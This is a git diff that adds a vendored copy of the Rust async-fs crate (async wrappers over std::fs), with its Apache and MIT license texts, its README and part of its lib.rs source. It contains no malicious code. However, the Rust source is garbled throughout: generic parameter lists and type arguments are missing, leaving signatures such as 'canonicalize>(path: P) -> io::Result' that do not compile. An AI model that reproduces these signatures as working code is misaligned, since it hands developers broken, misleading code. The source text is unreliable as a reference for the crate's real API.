including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-fs/LICENSE-MIT b/lib/malio/async-fs/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-fs/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-fs/README.md b/lib/malio/async-fs/README.md new file mode 100644 index 0000000..a7afd96 --- /dev/null +++ b/lib/malio/async-fs/README.md @@ -0,0 +1,48 @@ +# async-fs + +[![CI](https://github.com/smol-rs/async-fs/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/async-fs/actions/workflows/ci.yml) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-fs) +[![Cargo](https://img.shields.io/crates/v/async-fs.svg)]( +https://crates.io/crates/async-fs) +[![Documentation](https://docs.rs/async-fs/badge.svg)]( +https://docs.rs/async-fs) + +Async filesystem primitives. + +This crate is an async version of `std::fs`. + +## Implementation + +This crate uses [`blocking`] to offload blocking I/O onto a thread pool. + +[`blocking`]: https://docs.rs/blocking + +## Examples + +Create a new file and write some bytes to it: + +```rust +use async_fs::File; +use futures_lite::io::AsyncWriteExt; + +let mut file = File::create("a.txt").await?; +file.write_all(b"Hello, world!").await?; +file.flush().await?; +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-fs/src/lib.rs b/lib/malio/async-fs/src/lib.rs new file mode 100644 index 0000000..59477a8 --- /dev/null +++ b/lib/malio/async-fs/src/lib.rs @@ -0,0 +1,1855 @@ +//! Async filesystem primitives. +//! +//! This crate is an async version of [`std::fs`]. +//! +//! # Implementation +//! +//! This crate uses [`blocking`] to offload blocking I/O onto a thread pool. +//! +//! [`blocking`]: https://docs.rs/blocking +//! +//! # Examples +//! +//! Create a new file and write some bytes to it: +//! +//! ```no_run +//! use async_fs::File; +//! use futures_lite::io::AsyncWriteExt; +//! +//! # futures_lite::future::block_on(async { +//! let mut file = File::create("a.txt").await?; +//! file.write_all(b"Hello, world!").await?; +//! file.flush().await?; +//! # std::io::Result::Ok(()) }); +//! ``` + +#![forbid(unsafe_code)] +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +use std::ffi::OsString; +use std::fmt; +use std::future::Future; +use std::io::{self, SeekFrom}; +use std::path::{Path, PathBuf}; +use std::pin::Pin; +use std::sync::Arc; +use std::task::{Context, Poll}; + +#[cfg(unix)] +use std::os::unix::fs::{DirEntryExt as _, OpenOptionsExt as _}; + +#[cfg(windows)] +use std::os::windows::fs::OpenOptionsExt as _; + +use async_lock::Mutex; +use blocking::{unblock, Unblock}; +use futures_lite::future::FutureExt; +use futures_lite::io::{AsyncRead, AsyncSeek, AsyncWrite, AsyncWriteExt}; +use futures_lite::ready; +use futures_lite::stream::Stream; + +#[doc(no_inline)] +pub use std::fs::{FileType, Metadata, Permissions}; + +/// Returns the canonical form of a path. +/// +/// The returned path is in absolute form with all intermediate components normalized and symbolic +/// links resolved. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file or directory. +/// * A non-final component in `path` is not a directory. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let path = async_fs::canonicalize(".").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn canonicalize>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::canonicalize(path)).await +} + +/// Copies a file to a new location. +/// +/// On success, the total number of bytes copied is returned and equals the length of the `dst` +/// file after this operation. +/// +/// The old contents of `dst` will be overwritten. If `src` and `dst` both point to the same +/// file, then the file will likely get truncated as a result of this operation. +/// +/// If you're working with open [`File`]s and want to copy contents through those types, use +/// [`futures_lite::io::copy()`] instead. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `src` does not point to an existing file. +/// * The current process lacks permissions to read `src` or write `dst`. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let num_bytes = async_fs::copy("a.txt", "b.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn copy, Q: AsRef>(src: P, dst: Q) -> io::Result { + let src = src.as_ref().to_owned(); + let dst = dst.as_ref().to_owned(); + unblock(move || std::fs::copy(&src, &dst)).await +} + +/// Creates a new, empty directory at the provided path +/// +/// # Platform-specific behavior +/// +/// This function currently corresponds to the `mkdir` function on Unix +/// and the `CreateDirectory` function on Windows. +/// Note that this [may change in the future][changes]. +/// +/// [changes]: io#platform-specific-behavior +/// +/// Note that if a parent of the given path doesn't exist, this function will +/// return an error. To create a directory and all its missing parents at the +/// same time, use the [`create_dir_all`] function. +/// +/// # Errors +/// +/// This function will return an error in the following situations, but is not +/// limited to just these cases: +/// +/// * User lacks permissions to create directory at `path`. +/// * A parent of the given path doesn't exist. (To create a directory and all +/// its missing parents at the same time, use the [`create_dir_all`] +/// function.) +/// * `path` already exists. +/// +/// # Examples +/// +/// ```no_run +/// use std::fs; +/// +/// fn main() -> std::io::Result<()> { +/// fs::create_dir("/some/dir")?; +/// Ok(()) +/// } +/// ``` +pub async fn create_dir>(path: P) -> io::Result<()> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::create_dir(path)).await +} + +/// Recursively create a directory and all of its parent components if they +/// are missing. +/// +/// # Platform-specific behavior +/// +/// This function currently corresponds to the `mkdir` function on Unix +/// and the `CreateDirectory` function on Windows. +/// Note that this [may change in the future][changes]. +/// +/// [changes]: io#platform-specific-behavior +/// +/// # Errors +/// +/// This function will return an error in the following situations, but is not +/// limited to just these cases: +/// +/// * If any directory in the path specified by `path` +/// does not already exist and it could not be created otherwise. The specific +/// error conditions for when a directory is being created (after it is +/// determined to not exist) are outlined by [`fs::create_dir`]. +/// +/// Notable exception is made for situations where any of the directories +/// specified in the `path` could not be created as it was being created concurrently. +/// Such cases are considered to be successful. That is, calling `create_dir_all` +/// concurrently from multiple threads or processes is guaranteed not to fail +/// due to a race condition with itself. +/// +/// [`fs::create_dir`]: create_dir +/// +/// # Examples +/// +/// ```no_run +/// use std::fs; +/// +/// fn main() -> std::io::Result<()> { +/// fs::create_dir_all("/some/dir")?; +/// Ok(()) +/// } +/// ``` +pub async fn create_dir_all>(path: P) -> io::Result<()> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::create_dir_all(path)).await +} + +/// Creates a hard link on the filesystem. +/// +/// The `dst` path will be a link pointing to the `src` path. Note that operating systems often +/// require these two paths to be located on the same filesystem. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `src` does not point to an existing file. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// async_fs::hard_link("a.txt", "b.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn hard_link, Q: AsRef>(src: P, dst: Q) -> io::Result<()> { + let src = src.as_ref().to_owned(); + let dst = dst.as_ref().to_owned(); + unblock(move || std::fs::hard_link(&src, &dst)).await +} + +/// Reads metadata for a path. +/// +/// This function will traverse symbolic links to read metadata for the target file or directory. +/// If you want to read metadata without following symbolic links, use [`symlink_metadata()`] +/// instead. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file or directory. +/// * The current process lacks permissions to read metadata for the path. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let perm = async_fs::metadata("a.txt").await?.permissions(); +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn metadata>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::metadata(path)).await +} + +/// Reads the entire contents of a file as raw bytes. +/// +/// This is a convenience function for reading entire files. It pre-allocates a buffer based on the +/// file size when available, so it is typically faster than manually opening a file and reading +/// from it. +/// +/// If you want to read the contents as a string, use [`read_to_string()`] instead. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file. +/// * The current process lacks permissions to read the file. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let contents = async_fs::read("a.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn read>(path: P) -> io::Result> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::read(path)).await +} + +/// Returns a stream of entries in a directory. +/// +/// The stream yields items of type [`io::Result`]`<`[`DirEntry`]`>`. Note that I/O errors can +/// occur while reading from the stream. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing directory. +/// * The current process lacks permissions to read the contents of the directory. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// use futures_lite::stream::StreamExt; +/// +/// let mut entries = async_fs::read_dir(".").await?; +/// +/// while let Some(entry) = entries.try_next().await? { +/// println!("{}", entry.file_name().to_string_lossy()); +/// } +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn read_dir>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::read_dir(path).map(|inner| ReadDir(State::Idle(Some(inner))))).await +} + +/// A stream of entries in a directory. +/// +/// This stream is returned by [`read_dir()`] and yields items of type +/// [`io::Result`]`<`[`DirEntry`]`>`. Each [`DirEntry`] can then retrieve information like entry's +/// path or metadata. +pub struct ReadDir(State); + +/// The state of an asynchronous `ReadDir`. +/// +/// The `ReadDir` can be either idle or busy performing an asynchronous operation. +#[allow(clippy::large_enum_variant)] // TODO: Windows-specific +enum State { + Idle(Option), + Busy(blocking::Task<(std::fs::ReadDir, Option>)>), +} + +impl fmt::Debug for ReadDir { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("ReadDir").finish() + } +} + +impl Stream for ReadDir { + type Item = io::Result; + + fn poll_next(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + match &mut self.0 { + State::Idle(opt) => { + let mut inner = opt.take().unwrap(); + + // Start the operation asynchronously. + self.0 = State::Busy(unblock(move || { + let next = inner.next(); + (inner, next) + })); + } + // Poll the asynchronous operation the file is currently blocked on. + State::Busy(task) => { + let (inner, opt) = ready!(task.poll(cx)); + self.0 = State::Idle(Some(inner)); + return Poll::Ready(opt.map(|res| res.map(|inner| DirEntry(Arc::new(inner))))); + } + } + } + } +} + +/// An entry in a directory. +/// +/// A stream of entries in a directory is returned by [`read_dir()`]. +/// +/// For Unix-specific options, import the [`DirEntryExt`][`std::os::unix::fs::DirEntryExt`] trait. +pub struct DirEntry(Arc); + +impl DirEntry { + /// Returns the full path to this entry. + /// + /// The full path is created by joining the original path passed to [`read_dir()`] with the + /// name of this entry. + /// + /// # Examples + /// + /// ```no_run + /// use futures_lite::stream::StreamExt; + /// + /// # futures_lite::future::block_on(async { + /// let mut dir = async_fs::read_dir(".").await?; + /// + /// while let Some(entry) = dir.try_next().await? { + /// println!("{:?}", entry.path()); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn path(&self) -> PathBuf { + self.0.path() + } + + /// Reads the metadata for this entry. + /// + /// This function will traverse symbolic links to read the metadata. + /// + /// If you want to read metadata without following symbolic links, use [`symlink_metadata()`] + /// instead. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * This entry does not point to an existing file or directory anymore. + /// * The current process lacks permissions to read the metadata. + /// * Some other I/O error occurred. + /// + /// # Examples + /// + /// ```no_run + /// use futures_lite::stream::StreamExt; + /// + /// # futures_lite::future::block_on(async { + /// let mut dir = async_fs::read_dir(".").await?; + /// + /// while let Some(entry) = dir.try_next().await? { + /// println!("{:?}", entry.metadata().await?); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn metadata(&self) -> io::Result { + let inner = self.0.clone(); + unblock(move || inner.metadata()).await + } + + /// Reads the file type for this entry. + /// + /// This function will not traverse symbolic links if this entry points at one. + /// + /// If you want to read metadata with following symbolic links, use [`metadata()`] instead. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * This entry does not point to an existing file or directory anymore. + /// * The current process lacks permissions to read this entry's metadata. + /// * Some other I/O error occurred. + /// + /// # Examples + /// + /// ```no_run + /// use futures_lite::stream::StreamExt; + /// + /// # futures_lite::future::block_on(async { + /// let mut dir = async_fs::read_dir(".").await?; + /// + /// while let Some(entry) = dir.try_next().await? { + /// println!("{:?}", entry.file_type().await?); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn file_type(&self) -> io::Result { + let inner = self.0.clone(); + unblock(move || inner.file_type()).await + } + + /// Returns the bare name of this entry without the leading path. + /// + /// # Examples + /// + /// ```no_run + /// use futures_lite::stream::StreamExt; + /// + /// # futures_lite::future::block_on(async { + /// let mut dir = async_fs::read_dir(".").await?; + /// + /// while let Some(entry) = dir.try_next().await? { + /// println!("{}", entry.file_name().to_string_lossy()); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn file_name(&self) -> OsString { + self.0.file_name() + } +} + +impl fmt::Debug for DirEntry { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_tuple("DirEntry").field(&self.path()).finish() + } +} + +impl Clone for DirEntry { + fn clone(&self) -> Self { + DirEntry(self.0.clone()) + } +} + +#[cfg(unix)] +impl unix::DirEntryExt for DirEntry { + fn ino(&self) -> u64 { + self.0.ino() + } +} + +/// Reads a symbolic link and returns the path it points to. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing link. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let path = async_fs::read_link("a.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn read_link>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::read_link(path)).await +} + +/// Reads the entire contents of a file as a string. +/// +/// This is a convenience function for reading entire files. It pre-allocates a string based on the +/// file size when available, so it is typically faster than manually opening a file and reading +/// from it. +/// +/// If you want to read the contents as raw bytes, use [`read()`] instead. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file. +/// * The current process lacks permissions to read the file. +/// * The contents of the file cannot be read as a UTF-8 string. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let contents = async_fs::read_to_string("a.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn read_to_string>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::read_to_string(path)).await +} + +/// Removes an empty directory. +/// +/// Note that this function can only delete an empty directory. If you want to delete a directory +/// and all of its contents, use [`remove_dir_all()`] instead. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` is not an existing and empty directory. +/// * The current process lacks permissions to remove the directory. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// async_fs::remove_dir("./some/directory").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn remove_dir>(path: P) -> io::Result<()> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::remove_dir(path)).await +} + +/// Removes a directory and all of its contents. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` is not an existing directory. +/// * The current process lacks permissions to remove the directory. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// async_fs::remove_dir_all("./some/directory").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn remove_dir_all>(path: P) -> io::Result<()> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::remove_dir_all(path)).await +} + +/// Removes a file. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file. +/// * The current process lacks permissions to remove the file. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// async_fs::remove_file("a.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn remove_file>(path: P) -> io::Result<()> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::remove_file(path)).await +} + +/// Renames a file or directory to a new location. +/// +/// If a file or directory already exists at the target location, it will be overwritten by this +/// operation. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `src` does not point to an existing file or directory. +/// * `src` and `dst` are on different filesystems. +/// * The current process lacks permissions to do the rename operation. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// async_fs::rename("a.txt", "b.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn rename, Q: AsRef>(src: P, dst: Q) -> io::Result<()> { + let src = src.as_ref().to_owned(); + let dst = dst.as_ref().to_owned(); + unblock(move || std::fs::rename(&src, &dst)).await +} + +/// Changes the permissions of a file or directory. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file or directory. +/// * The current process lacks permissions to change attributes on the file or directory. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let mut perm = async_fs::metadata("a.txt").await?.permissions(); +/// perm.set_readonly(true); +/// async_fs::set_permissions("a.txt", perm).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn set_permissions>(path: P, perm: Permissions) -> io::Result<()> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::set_permissions(path, perm)).await +} + +/// Reads metadata for a path without following symbolic links. +/// +/// If you want to follow symbolic links before reading metadata of the target file or directory, +/// use [`metadata()`] instead. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file or directory. +/// * The current process lacks permissions to read metadata for the path. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let perm = async_fs::symlink_metadata("a.txt").await?.permissions(); +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn symlink_metadata>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::symlink_metadata(path)).await +} + +/// Writes a slice of bytes as the new contents of a file. +/// +/// This function will create a file if it does not exist, and will entirely replace its contents +/// if it does. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * The file's parent directory does not exist. +/// * The current process lacks permissions to write to the file. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// async_fs::write("a.txt", b"Hello world!").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn write, C: AsRef<[u8]>>(path: P, contents: C) -> io::Result<()> { + let path = path.as_ref().to_owned(); + let contents = contents.as_ref().to_owned(); + unblock(move || std::fs::write(&path, contents)).await +} + +/// A builder for creating directories with configurable options. +/// +/// For Unix-specific options, import the [`DirBuilderExt`][`std::os::unix::fs::DirBuilderExt`] +/// trait. +#[derive(Debug, Default)] +pub struct DirBuilder { + /// Set to `true` if non-existent parent directories should be created. + recursive: bool, + + /// Unix mode for newly created directories. + #[cfg(unix)] + mode: Option, +} + +impl DirBuilder { + /// Creates a blank set of options. + /// + /// The [`recursive()`][`DirBuilder::recursive()`] option is initially set to `false`. + /// + /// # Examples + /// + /// ``` + /// use async_fs::DirBuilder; + /// + /// let builder = DirBuilder::new(); + /// ``` + pub fn new() -> DirBuilder { + #[cfg(not(unix))] + let builder = DirBuilder { recursive: false }; + + #[cfg(unix)] + let builder = DirBuilder { + recursive: false, + mode: None, + }; + + builder + } + + /// Sets the option for recursive mode. + /// + /// When set to `true`, this option means all parent directories should be created recursively + /// if they don't exist. Parents are created with the same permissions as the final directory. + /// + /// This option is initially set to `false`. + /// + /// # Examples + /// + /// ``` + /// use async_fs::DirBuilder; + /// + /// let mut builder = DirBuilder::new(); + /// builder.recursive(true); + /// ``` + pub fn recursive(&mut self, recursive: bool) -> &mut Self { + self.recursive = recursive; + self + } + + /// Creates a directory with the configured options. + /// + /// It is considered an error if the directory already exists unless recursive mode is enabled. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * `path` already points to an existing file or directory. + /// * The current process lacks permissions to create the directory or its missing parents. + /// * Some other I/O error occurred. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::DirBuilder; + /// + /// # futures_lite::future::block_on(async { + /// DirBuilder::new() + /// .recursive(true) + /// .create("./some/directory") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn create>(&self, path: P) -> impl Future> { + let mut builder = std::fs::DirBuilder::new(); + builder.recursive(self.recursive); + + #[cfg(unix)] + { + if let Some(mode) = self.mode { + std::os::unix::fs::DirBuilderExt::mode(&mut builder, mode); + } + } + + let path = path.as_ref().to_owned(); + unblock(move || builder.create(path)) + } +} + +#[cfg(unix)] +impl unix::DirBuilderExt for DirBuilder { + fn mode(&mut self, mode: u32) -> &mut Self { + self.mode = Some(mode); + self + } +} + +/// An open file on the filesystem. +/// +/// Depending on what options the file was opened with, this type can be used for reading and/or +/// writing. +/// +/// Files are automatically closed when they get dropped and any errors detected on closing are +/// ignored. Use the [`sync_all()`][`File::sync_all()`] method before dropping a file if such +/// errors need to be handled. +/// +/// **NOTE:** If writing to a file, make sure to call +/// [`flush()`][`futures_lite::io::AsyncWriteExt::flush()`], [`sync_data()`][`File::sync_data()`], +/// or [`sync_all()`][`File::sync_all()`] before dropping the file or else some written data +/// might get lost! +/// +/// # Examples +/// +/// Create a new file and write some bytes to it: +/// +/// ```no_run +/// use async_fs::File; +/// use futures_lite::io::AsyncWriteExt; +/// +/// # futures_lite::future::block_on(async { +/// let mut file = File::create("a.txt").await?; +/// +/// file.write_all(b"Hello, world!").await?; +/// file.flush().await?; +/// # std::io::Result::Ok(()) }); +/// ``` +/// +/// Read the contents of a file into a vector of bytes: +/// +/// ```no_run +/// use async_fs::File; +/// use futures_lite::io::AsyncReadExt; +/// +/// # futures_lite::future::block_on(async { +/// let mut file = File::open("a.txt").await?; +/// +/// let mut contents = Vec::new(); +/// file.read_to_end(&mut contents).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub struct File { + /// Always accessible reference to the file. + file: Arc, + + /// Performs blocking I/O operations on a thread pool. + unblock: Mutex>, + + /// Logical file cursor, tracked when reading from the file. 